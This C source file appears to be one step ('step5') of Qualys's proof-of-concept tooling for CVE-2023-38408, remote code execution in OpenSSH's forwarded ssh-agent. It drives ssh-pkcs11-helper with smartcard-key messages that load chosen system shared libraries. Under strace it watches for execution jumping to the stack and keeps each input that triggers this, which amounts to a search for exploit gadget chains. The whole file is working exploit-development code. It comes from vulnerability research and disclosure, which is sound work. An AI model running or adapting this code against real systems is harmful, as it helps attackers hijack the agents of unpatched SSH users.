/*
 * CVE-2023-38408: Remote Code Execution in OpenSSH's forwarded ssh-agent
 * XSTACK=/tmp/step3*?/xstack.maps ./step5 /tmp/step4*?/?*?/logger
 * Copyright (C) 2023 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <link.h>
#include <signal.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static int
is_shared_object(const char * const path)
{
    ElfW(Ehdr) eh;
  {
    const int fd = open(path, O_RDONLY | O_NOFOLLOW);
    if (fd <= -1) return 0;
    const ssize_t nr = read(fd, &eh, sizeof(eh));
    if (close(fd)) die();
    if (nr != (ssize_t)sizeof(eh)) return 0;
  }
    if (eh.e_ident[EI_MAG0] != ELFMAG0 ||
        eh.e_ident[EI_MAG1] != ELFMAG1 ||
        eh.e_ident[EI_MAG2] != ELFMAG2 ||
        eh.e_ident[EI_MAG3] != ELFMAG3 ||
        eh.e_ident[EI_CLASS] != ELFCLASS64 ||
        eh.e_ident[EI_DATA] != ELFDATA2LSB ||
        eh.e_machine != EM_X86_64 ||
        eh.e_type != ET_DYN)
        return 0;
    if (eh.e_version != EV_CURRENT) die();
    if (eh.e_ehsize != sizeof(ElfW(Ehdr))) die();
    if (eh.e_phentsize != sizeof(ElfW(Phdr))) die();
    return 1;
}

static void
name_to_path(const char * const name, char * const path, const size_t size)
{
    if (*name != '!') die();
    if (strchr(name, '/')) die();
    size_t i;
    for (i = 0; ; i++) {
        if (i >= size) die();
        path[i] = (name[i] != '!') ? name[i] : '/';
        if (name[i] == '\0') break;
    }
    if (*path != '/') die();
}

typedef struct {
    const char ** array;
    size_t alloc, num;
    struct {
        size_t min, max;
    } parts[32];
    size_t nparts;
} t_paths;

static void
read_paths(const char * const file, t_paths * const paths)
{
    if (paths->array || paths->alloc || paths->num) die();
    FILE * const fp = fopen(file, "r");
    if (!fp) die();

    char name[NAME_MAX + 2];
    while (fgets(name, sizeof(name), fp)) {
        char * const nl = strchr(name, '\n');
        if (!nl) die();
        *nl = '\0';

        char path[NAME_MAX + 1];
        name_to_path(name, path, sizeof(path));
        if (strncmp(path, "/usr/l", 6)) die();

        if (paths->num >= paths->alloc) {
            if (paths->num != paths->alloc) die();
            if (paths->alloc >= (1<<21)) die();
            const size_t alloc = paths->alloc + 32;
            const char ** const array = realloc(paths->array, alloc * sizeof(*array));
            if (!array) die();
            paths->array = array;
            paths->alloc = alloc;
            if (paths->num >= paths->alloc) die();
        }
        if (!(paths->array[paths->num++] = strdup(path))) die();
    }
    if (fclose(fp)) die();
    if (!paths->array || !paths->alloc || !paths->num) die();
    fprintf(stderr, "read_paths %zu\n", paths->num);
}

static void
partition_paths(t_paths * const paths)
{
    if (!paths->array || !paths->alloc || !paths->num || paths->nparts) die();

    size_t num = paths->num;
    if (num > 16) num = 16;
    for (;;) {
        const size_t half = num / 2;
        if (paths->nparts >= sizeof(paths->parts) / sizeof(*paths->parts)) die();
        paths->parts[paths->nparts].min = num - half;
        paths->parts[paths->nparts].max = num;
        paths->nparts++;
        if (num <= 0) break;
        if (num < half + 1) die();
        num -= half + 1;
    }
    if (!paths->nparts) die();
    fprintf(stderr, "partition_paths %zu -> %zu\n", paths->num, paths->nparts);
}

#define SSH_AGENT_FAILURE                       5
#define SSH_AGENT_SUCCESS                       6

#define SSH_AGENTC_ADD_SMARTCARD_KEY            20
#define SSH_AGENTC_REMOVE_SMARTCARD_KEY         21

static int
send_recv_msg(const int fd, const uint8_t type, const char * const path, FILE * const logger)
{
    const size_t path_len = strlen(path);
    if (path_len >= 223) die();

    const size_t pin_len = 1 + random() % 10000;
    if (logger) fprintf(logger, "%zu\n", pin_len);

    uint8_t msg[16384];
    uint8_t * cp = msg;
    *(uint32_t *)cp = htonl(1 + 4 + path_len + 4 + pin_len);
    cp += 4;
    *cp++ = type;
    *(uint32_t *)cp = htonl(path_len);
    cp += 4;
    memcpy(cp, path, path_len);
    cp += path_len;
    *(uint32_t *)cp = htonl(pin_len);
    cp += 4;
    memset(cp, 0xcc, pin_len);
    cp += pin_len;

    const size_t msg_len = cp - msg;
    if (msg_len > 10240) die();
    if (msg_len >= sizeof(msg)) die();
    if (msg_len != 4 + 1 + 4 + path_len + 4 + pin_len) die();
    if (send(fd, msg, msg_len, MSG_NOSIGNAL) != (ssize_t)msg_len) return ECOMM;

    if (fd <= -1) die();
    if (fd >= FD_SETSIZE) die();
    fd_set readfds;
    FD_ZERO(&readfds);
    FD_SET(fd, &readfds);
    struct timeval timeout = { .tv_sec = 60 };
    const int ready = select(fd + 1, &readfds, NULL, NULL, &timeout);
    if (ready == 0) return ETIMEDOUT;
    if (ready != 1) die();

    const ssize_t nr = recv(fd, msg, sizeof(msg), 0);
    if (nr <= 0) return ENOMSG;
    switch (type) {
    case SSH_AGENTC_ADD_SMARTCARD_KEY:
        if (nr != 4 + 1 + 4 &&
            nr != 4 + 1) return EMSGSIZE;
        break;
    case SSH_AGENTC_REMOVE_SMARTCARD_KEY:
        if (nr != 4 + 1) die();
        break;
    default:
        die();
    }
    if (ntohl(*(const uint32_t *)msg) != nr - 4) die();
    if (msg[4] != SSH_AGENT_FAILURE) die();
    return 0;
}

static int
load_random_libs(const int fd, const t_paths * const paths, const int no_errors, FILE * const logger)
{
    if (!paths->array || !paths->alloc || !paths->num) die();
    if (!logger) die();

    size_t nlibs = 1;
    if (paths->nparts) {
        const size_t p = random() % paths->nparts;
        if (p >= paths->nparts) die();

        const size_t min = paths->parts[p].min;
        const size_t max = paths->parts[p].max;
        if (min > max) die();

        nlibs = min + random() % (max - min + 1);
        if (nlibs < min) die();
        if (nlibs > max) die();
    }

    while (nlibs) {
        if (!paths->num) die();
        const size_t p = random() % paths->num;
        if (p >= paths->num) die();

        const char * const path = paths->array[p];
        if (!path) continue;
        fprintf(logger, "%s\n", path);
        nlibs--;

        const int error = send_recv_msg(fd, SSH_AGENTC_ADD_SMARTCARD_KEY, path, logger);
        if (error) {
            if (error == ETIMEDOUT && no_errors) {
                fprintf(stderr, "%s timed out\n", path);
                if (paths->array[p] != path) die();
                if (paths->nparts) {
                    paths->array[p] = NULL;
                } else {
                    fprintf(stderr, "(this should not happen)\n");
                }
            }
            return error;
        }
    }
    if (nlibs) die();
    fputs("\n", logger);
    return 0;
}

static uintptr_t
find_highest_stack(const pid_t pid)
{
    uintptr_t stack = 0;
  {
    char buf[PATH_MAX];
    if ((unsigned)snprintf(buf, sizeof(buf), "/proc/%ld/maps", (long)pid)
                             >= sizeof(buf)) die();
    FILE * const fp = fopen(buf, "r");
    if (!fp) die();
    while (fgets(buf, sizeof(buf), fp)) {
        if (!strchr(buf, '\n')) die();
        if (!strstr(buf, "[stack]\n")) continue;
        if (stack) die();

        const char * const ptr = strstr(buf, "-7");
        if (!ptr) die();
        char * end = NULL;
        stack = strtoul(ptr + 1, &end, 16);
        if (!end || *end != ' ') die();
        if (stack <= 0x700000000000) die();
        if (stack >= 0x800000000000) die();
    }
    if (fclose(fp)) die();
  }
    if (!stack) die();
    return stack;
}

static int
jumped_to_stack(const uintptr_t highest_stack)
{
    int found = 0;
    static struct {
        uintptr_t low, high;
    } stacks[16];
    size_t nstacks = 0;

    stacks[nstacks].low = highest_stack - (8<<20);
    stacks[nstacks].high = highest_stack;
    nstacks++;

    char buf[PATH_MAX];
    FILE * const fp = fopen("strace", "r");
    if (!fp) die();
    while (fgets(buf, sizeof(buf), fp)) {
        /*
        if (!strchr(buf, '\n')) die();
        */
        if (strstr(buf, "si_signo=SIGTRAP, si_code=SI_KERNEL")) {
            static const char addr_str[] = "[";
            if (sizeof(addr_str)-1 != strlen(addr_str)) die();
            const char * const addr_ptr = strstr(buf, addr_str);
            if (!addr_ptr) die();
            char * addr_end = NULL;
            const uintptr_t addr = strtoul(addr_ptr + sizeof(addr_str)-1, &addr_end, 16);
            if (!addr_end || *addr_end != ']') die();

            size_t s;
            for (s = 0; s < nstacks; s++) {
                if (addr < stacks[s].low) continue;
                if (addr >= stacks[s].high) continue;
                fprintf(stderr, "%s", buf);
                found = 1;
                break;
            }
        }
        if (found) break;
    }
    if (fclose(fp)) die();
    return found;
}

int
main(const int argc, const char * const argv[])
{
    srandom(getpid() ^ time(NULL));
  {
    const struct {
        const char * file;
        const char * value;
    } proc[] = {
        { "/proc/sys/kernel/core_pattern", "\n" },
        { "/proc/sys/kernel/core_uses_pid", "0\n" },
        { "/proc/sys/kernel/yama/ptrace_scope", "0\n" },
    };
    size_t i;
    for (i = 0; i < sizeof(proc) / sizeof(*proc); i++) {
        const int fd = open(proc[i].file, O_RDONLY);
        if (fd <= -1) die();
        char buf[256];
        const ssize_t nr = read(fd, buf, sizeof(buf));
        if (close(fd)) die();
        if (nr <= 0) die();
        if ((size_t)nr >= sizeof(buf)) die();
        if ((size_t)nr != strlen(proc[i].value) ||
            memcmp(buf, proc[i].value, nr)) {
            fprintf(stderr, "echo '%.*s' > %s\n", (int)strcspn(proc[i].value, "\n"), proc[i].value, proc[i].file);
            die();
        }
    }
  }
  {
    int signum;
    for (signum = 1; signum < 100; signum++) {
        if (signal(signum, SIG_DFL) != SIG_ERR) continue;
        if (errno != EINVAL) die();
    }
  }

    static t_paths xstack;
    const char * const xstack_file = getenv("XSTACK");
    if (xstack_file) {
        read_paths(xstack_file, &xstack);
    }
    static t_paths notint;
    const char * const notint_file = getenv("NOTINT");
    if (notint_file) {
        read_paths(notint_file, &notint);
        partition_paths(&notint);
    }

    if (argc <= 1) die();
    const int ninputs = argc - 1;
    const int input_dirfd = open(".", O_RDONLY | O_CLOEXEC);
    if (input_dirfd <= -1) die();

  {
    char base[] = "/tmp/step5-not-nodump.XXXXXX";
    if (!mkdtemp(base)) die();
    if (chdir(base)) die();
    fprintf(stderr, "%s\n", base);
  }
    while (access("kill", F_OK)) {
        char work[] = "./XXXXXX";
        if (!mkdtemp(work)) die();
        if (chdir(work)) die();

        int pkcs_fds[2];
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, pkcs_fds)) die();
        if (pkcs_fds[0] <= STDERR_FILENO) die();
        if (pkcs_fds[1] <= STDERR_FILENO) die();
        const pid_t pkcs_pid = fork();
        if (pkcs_pid <= -1) die();
        const int pkcs_fd = pkcs_fds[!pkcs_pid];
        if (close(pkcs_fds[!!pkcs_pid])) die();

        if (pkcs_pid == 0) {
            if (dup2(pkcs_fd, STDIN_FILENO) != STDIN_FILENO) die();
            if (dup2(pkcs_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
            if (close(pkcs_fd)) die();
            const int stderr_fd = open("stderr", O_WRONLY | O_CREAT | O_EXCL, 0600);
            if (stderr_fd <= STDERR_FILENO) die();
            if (dup2(stderr_fd, STDERR_FILENO) != STDERR_FILENO) die();
            if (close(stderr_fd)) die();
            const char * const pkcs_helper = "/usr/lib/openssh/ssh-pkcs11-helper";
            execlp(pkcs_helper, pkcs_helper, (const char *)NULL);
            die();
        }

        if (send_recv_msg(pkcs_fd, SSH_AGENTC_REMOVE_SMARTCARD_KEY, "/", NULL)) die();
        const uintptr_t highest_stack = find_highest_stack(pkcs_pid);

        const pid_t strace_pid = fork();
        if (strace_pid <= -1) die();
        if (strace_pid == 0) {
            if (close(pkcs_fd)) die();
            const int null_fd = open("/dev/null", O_RDWR);
            if (null_fd <= STDERR_FILENO) die();
            if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
            if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
            if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();
            if (close(null_fd)) die();

            char pkcs_pidstr[32];
            if ((unsigned)snprintf(pkcs_pidstr, sizeof(pkcs_pidstr), "%ld", (long)pkcs_pid)
                                             >= sizeof(pkcs_pidstr)) die();
            const char * const strace_argv[] = { "/usr/bin/strace", "-f", "-i", "-e", "none", "-o", "strace", "-p", pkcs_pidstr, NULL };
            execve(*strace_argv, (char * const *)strace_argv, NULL);
            die();
        }
        for (;;) {
            struct stat sb;
            if (lstat("strace", &sb)) continue;
            if (!S_ISREG(sb.st_mode)) die();
            break;
        }

        int timed_out = 0;
      {
        const int input = 1 + random() % ninputs;
        if (input <= 0 || input >= argc) die();
        const int input_fd = openat(input_dirfd, argv[input], O_RDONLY);
        if (input_fd <= -1) die();
        FILE * const input_fp = fdopen(input_fd, "r");
        if (!input_fp) die();

        FILE * const logger = fopen("logger", "w");
        if (!logger) die();

        if (xstack_file) {
            const int error = load_random_libs(pkcs_fd, &xstack, 1, logger);
            if (error) die();
        }

        char path[NAME_MAX + 2];
        while (fgets(path, sizeof(path), input_fp)) {
            char * const nl = strchr(path, '\n');
            if (!nl) die();
            if (nl == path) continue;
            *nl = '\0';

            if (strncmp(path, "/usr/l", 6)) die();
            /*
            if (!is_shared_object(path)) die();
            */

            char pin_len_str[32];
            if (!fgets(pin_len_str, sizeof(pin_len_str), input_fp)) die();
            char * pin_len_end = NULL;
            const size_t pin_len = strtoul(pin_len_str, &pin_len_end, 10);
            if (pin_len_end <= pin_len_str || *pin_len_end != '\n') die();
            if (pin_len < 1 || pin_len > 10000) die();

            int error = 0;
            for (;;) {
                const int ch = getc(input_fp);
                if (ch == '\n') continue;
                if (ch != EOF) {
                    if (ch <= 0 || ch >= 255) die();
                    if (ungetc(ch, input_fp) != ch) die();
                } else if (notint_file) {
                    if (error) die();
                    error = load_random_libs(pkcs_fd, &notint, 1, logger);
                    if (error) fprintf(stderr, "error %d from %s\n", error, notint_file);
                }
                break;
            }

            fprintf(logger, "%s\n", path);
            if (!error) error = send_recv_msg(pkcs_fd, SSH_AGENTC_ADD_SMARTCARD_KEY, path, logger);
            if (error) {
                if (error == ETIMEDOUT) {
                    timed_out = 1;
                }
                break;
            }
        }
        if (fclose(input_fp)) die();
        if (fclose(logger)) die();
      }
        int stack_trap = 0;
        if (timed_out) {
            stack_trap = jumped_to_stack(highest_stack);
            if (kill(pkcs_pid, SIGKILL)) die();
        }
        if (close(pkcs_fd)) die();
        if (waitpid(strace_pid, NULL, 0) != strace_pid) die();

        if (!stack_trap) {
            stack_trap = jumped_to_stack(highest_stack);
        }
        if (waitpid(pkcs_pid, NULL, 0) != pkcs_pid) die();

        if (!stack_trap) {
            DIR * const dirp = opendir(".");
            if (!dirp) die();
            for (;;) {
                const struct dirent * const entp = readdir(dirp);
                if (!entp) break;
                (void) unlink(entp->d_name);
            }
            if (closedir(dirp)) die();
        }
        if (chdir("..")) die();
        (void) rmdir(work);
    }
    if (close(input_dirfd)) die();
    die();
}
